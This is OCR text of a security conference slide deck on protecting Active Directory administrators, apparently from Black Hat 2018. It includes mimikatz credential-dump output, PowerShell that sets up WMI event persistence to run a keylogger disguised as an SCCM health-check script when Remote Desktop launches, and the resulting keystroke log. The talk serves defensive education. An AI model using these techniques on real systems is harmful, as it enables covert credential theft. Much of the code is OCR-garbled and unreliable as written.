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AFounder TrimarcIfimarc.io, a professional services
company that helps organizations better secure their
Microsoft platform, including Active Directory & the
Microsoft Cloud.

AMicrosoft Certified Master (MCM) Directory Services

ASpeaker: Black Hat, Blue HASidesDEF CONerbyCon
ShakaconSp4rkCon

ASecurity Consultant / Researcher

AOwn & OperateADSecurity.org
(Microsoft platform security info)

Sean Metcalf [@Pyrotek3 |
sean@ TrimarcSecurity.com]


https://www.trimarcsecurity.com/
https://adsecurity.org/
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ACurrent State
AEvolution of Administration
AExploiting Typical Administration

ACommon Methods of Protecting Admins (& bypassing them
AMFA
AEnterprise Password Vaults
AAdmin Forest

ABuilding the Best Defenses

Sean Metcalf [@Pyrotek3 | Note: Some company products are mentioned in this presentation
sean@ TrimarcSecurity.com] deployment concerns are notedhese are not new vulnerabilities.



O

blackhat Cyrrent State of Security

LS A 2018

Many organizations have upgraded security
ADeployed EDR security tooling with distributed EDR agents
AEvent logging agents
AFlow security events to a SIEM
AVulnerability scanning
ASecurity software agents

Most have not changed how Active
Directory iIs managed.

Sean Metcalf [@Pyrotek3 |
sean@ TrimarcSecurity.com]
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There was a workstation

Sean Metcalf [@Pyrotek3 |
sean@ TrimarcSecurity.comj
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Then we added Desktop Support

Sean Metcalf [@Pyrotek3 |
sean@ T TrimarcSecurity.com]
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Then we deployed agents for Patching

Sean Metcalf [@Pyrotek3 |
sean@  TrimarcSecurity.com]
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Then we switched to a Management system for software deployment/updat
& patching | :

Sean Metcalf [@Pyroteks3 |
sean@  TrimarcSecurity.com]
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1 workstation
30 accounts In the local Administrators group.
50 accounts with local admin via the software management sys
20 accounts with control of the computer via security agent(s).

~ 100 accounts with effective admin rights on the workstation

Who has control of your workstation?

Sean Metcalf [@Pyrotek3 | sean@ TrimarcSecurity.com]
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The Evolution of Administration

Vnc Authentication

Connected to: 192.168.1.11:1

Password: ooooooooo|

OK | Cancel

& Remote Desktop Connection -

Remote Desktop
“»¢ Connection

Computer Example: computer.fabrikam.com

User name: None specified

The computer name field is blank. Enter a full remote

computer name
Connect |

» ' Show Options

Help

User Account Control

Do you want to allow this app to make
changes to your device?

P Microsoft Management Console

Verified publisher: Microsoft Windows

Show more details

To continue, enter an admin user name and password.

Password

Domain: TRIMARCLAB

Yes No

&£ = (tf,\

Sean Metcalf [@Pyrotek3 |
sean@ TrimarcSecurity.com]

__ Active Directory Users and Computers

File Action View Help

_ Active Directory Users and Computers
| Saved Queries
v 5._, lab trimarcresearch.com
2| AD Administration
| Builtin
| Computers
2| Domain Controllers
| ForeignSecurityPrincipals
4| Lab Resources
| Managed Service Accounts
= OU-Block-Inheritance
2| Servers
Users
2| Workstations

Name

-

2 AD Administr..
| Builtin

[ Computers

Domain Con..

ForeignSecur..

Lab Resources

~ Managed Se..

-

-

2 OU-Block-In..
4 Servers

Users
_ Workstations
] Keys
| NTDS Quotas
| TPM Devices

e O X

—

1Y &l &

Type
Organizational Unit
builtinDomain
Container
Organizational Unit
Container
Organizational Unit
Container
Organizational Unit
Organizational Unit
Container
Organizational Unit
Unknown
Unknown

Unknown
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Aln the beginning, there were admins everywhere.
ASometimes, user accounts were Domain Admins
AEvery local Administrator account has the same name & password.
ASome environments had almost as many Domain Admins as users.

Sean Metcalf [@Pyrotek3 |
sean@ TrimarcSecurity.com]
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This resulted in a target rich environment with multiple paths to exploit.

BTN Y T TR T o

“

Traditional methods of administration are trivial to attack and compromise

due to admin credentials being available on the workstation.
Sean Metcalf [@Pyrotek3 | sean@ TrimarcSecurity.c
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ALogon to workstation as an admin
ACredentials in LSASS.

ARuUnA9nN workstation and run standard Microsoft
MMC admin tools (“Active Directory Users &
[ 2 YLJz( SNA G 0
ACredentials in LSASS.

ARDP to Domain Controlless Admin Servers to
manage them
ACredentials in LSASS on remote server.

Sean Metcalf [@Pyrotek3 | sean@ TrimarcSecurity.com]
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ninikatz{comnmandline) B sekurlsa::logonpassvords

Authentication Id B ; 5888494 (VOOPBVOV:VB1dadee)
sSession Interactive from 2
User Nane : hansolo
i : ADSECLAB
S=1-5-21-1473643419-774954089-2222329127-1187

HanSolo

ADSECLAB
bceB8deS1bec4919e81987a75dBbhd375 a
269¢cBctb3a623b2eB62dfd861c9h82818
668dd1febbh94F321FbhdS58hfc19a4189228h2hb

HanSo lo
ADSECLAB
Falcon99?

HanSolo
ADSECLAB
Falcon99!?

» Usernane

» Domain

» Password
wdigest :

» Usernane

#» Domain

# Password
kerberos :

* Usernane

#* Domain

» Password
ssp

credman °:

HanSolo
LAB.ADSECURITY .ORG
Falcon99!

Authentication B < V/ 1 BUBE4 OUEGH0 - PR4da4dB)
Session ~ }nter§ctiue From 2
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User Account Control _ Active Directory Users and Computers y (| X

File Action View Help

@ =

2 AD Administ
___ Builtin

Computers

Unit
sement Console '

publisher:

amain Con..

re details

e, enter an admin useé =

3| Workstati
Domain: TRIMAR orkstatio

Unknown

Sean Metcalf [@Pyrotek3 | sean@ TrimarcSecurity.com]
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& Remote Desktop Connection - X
& Remote Desktop
»¢ Connection
Computer: Windows Security X © Duo security
Username: Enter your credentials Devics: 08 QUXRO00X)
The compu
computer n Choose an authentication method
These credentials will be used to connect to
+ Show! trddcO1 4] Duo Push Send Me a Push
Powered by Duo Security
sean
, & call Me
: Passcode Enter a Passcode
Domain: TRIMARCRESEARCH

D Remember me

Sean Metcalf [@Pyrotek3 |
sean@TrimarcSecurity.com]
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voed Vbult Sign In X
| Ugi = O 0 F Centificate e w * 4

Username *

SIGN IN

Specify your authentication details

Password *

Domain Local v

PIN+Tokencode

For r rd?

Sean Metcalf [@Pyrotek3 |
sean@ TrimarcSecurity.com]
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c:.
Microsoft Windows [Version 10.0.16299.547]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Users\sean>whoami
trimarcresearch\sean

C:\Users\sean>mstsc.exe Remote De_SktOp
—»¢ Connection

.* Remote Desktop Connection

C:\Users\sean>

Computer: rdedc11.lab.trimarcresearch.com

User name: trimarclab\darthvader

You will be asked for credentials when you connect.

w Show Options Connect

Sean Metcalf [@Pyrotek3 | sean@ TrimarcSecurity.com]
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= ' ~ v Local Disk (C: = L]

Home Share View Vv o
&« = v N &. > ThisPC » Local Disk (C:) v O Search Local Disk (C) p e
m Desktop & Name Size Date modified
B Documients Packages 7/6/2018 10:14 PM
4 Downloads PerflLogs 6/19/2018 8:25 PM
J Music Program Files 7/31/2018 7:35 PM
= Pictures Program Files (x86) 9/29/2017 2:41 PM
® Videos Temp 8/1/2018 2:10 AM
& _ | ocal Disk (C) Users 8/1/2018 1:24 AM

Windows 7/10/2018 7:08 AM
~~ lemporary Storage (D:) :
— _1tmp 6 KB 8/1/2018 2:46 AM
¥ Network
v < >
8 items 1 item selected 5.37 KB == =

Sean Metcalf [@Pyrotek3 | sean@ TrimarcSecurity.com]
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PS C:\Windows\system32> # Create WMI Event Filter
$iFilter = ([wMIcLAss]"\\.\root\subscription:__EventFilter").CreateInstance()

Carcal+rar Niaras | anmitana - Sthaieng YT

ProcessName="mstsc.exe'

LA

TV A T F I MW M e T ML)

$consumer = $Result.Path # To be used in binding
# Establish bindina between wWMI event filter and consumer

‘c:\temp\scripts\SCCMHealthCheck.psl' "

Relativepath : __FilterToConsumerBinding.Consumer="\\\\.\\root\\subscription:cCommandLineEventConsumer.Name=\"SCCM
Healthcheck\"",Filter="\\\\.\\root\\subscription:__gEventFilter.Name=\"Monitor RDP\""

server = .

NamespacePath : root\subscription

ClassName : __FilterToConsumerBinding

IsClass : False

IsInstance : True

IsSingleton : False

Sean Metcalf [@Pyrotek3 |
sean@ TrimarcSecurity.com]
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PS C:\Windows\system32> # Create WMI Event Filter

$iF1 1
3138k SCCMHealthCheck.pst X
$iFil 1 =function Get-Keystrokes {
$iFilY 3 ok
MBI 3 | synopsIs
$Resu a
$Filte 5 Logs keys pressed, time and the active window.
#_Cre- 6
$1Cons 7 Powersploit Function: Get-Keystrokes
$1Cons 8 original Authors: chris Campbell (@obscuresec) and Matthew Graeber (@mattifestation)
$1Cons Z Revised By: Jesse Davis (@secabstraction)
SResu 10 License: BSD 3-Clause
$Cons 11 Required Dependencies: None
# EStg 2 optional Dependencies: None
$1B1ing 13
SRLALl 14 | . PARAMETER LogPath
$1B1nd 15
$7B7NQEEETS specifies the path where pressed key details will be logged. By default, keystrokes are logged to ¥TEmMP¥\key.log.
17
18 . PARAMETER Timeout
19
etk 20 specifies the interval in minutes to capture keystrokes. By default, keystrokes are captured indefinitely.
at 21
22 .PARAMETER PassThru
Relat 23
. 24 Returns the keylogger's pPowershell object, so that it may manipulated (disposed) by the user; primarily for testing purposes.
erve 25
BEMERE 26 | .LINK
Class 27
IsCla gl http://www.obscuresec.com/
ISINS s http://www.exploit-monday.com/ Sean Metcalf [@Pertek3 |
IsSin 3 -/ /ai / - ' i i
i Z(E : https://github.com/secabstraction Sean@TnmarcSecuntycom]
> >
32 O
B Shenenman ' &
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_|_1.tmp - Notepad — H X
ew File Edit Format View Help
"t","Windows Security","8/1/2018 2:08:33 AM"
> Local Disk (C) v ©  Search Local Dif wp “myd ndows Security”,"8/1/2018 2:08:33 AM"
~ Name - Sive "i","Windows Security","8/1/2018 2:08:33 AM"
"m","Windows Security","8/1/2018 2:08:33 AM"
Packages "a","Windows Security","8/1/2018 2:08:33 AM"
PerfLogs "r","Windows Security","8/1/2018 2:08:33 AM"
"c","Windows Security","8/1/2018 2:08:33 AM"
Program Files "1","Windows Security","8/1/2018 2:08:34 AM"
Program Files (x86) "a","Windows Security","8/1/2018 2:08:34 AM"
Temp "b","Windows Security","8/1/2018 2:08:34 AM"
Users "\","Windows Security","8/1/2018 2:08:34 AM"
_ "d","Windows Security","8/1/2018 2:08:35 AM"
Windows "a","Windows Security","8/1/2018 2:08:35 AM"
= _1.tmp 6KB | "r" "Windows Security","8/1/2018 2:08:35 AM"
"t","Windows Security"”,"8/1/2018 2:08:35 AM"
Sean Metcalf [@Pyroteks | "h" . "Windows Securitz","za/l/z@ls 2:08:35 AM"
Sean@TI’ImarCSGCUI’I'[yCom] e Mgl A, Chmemttrma s Mo /S /3910 D.A0 20245 AN






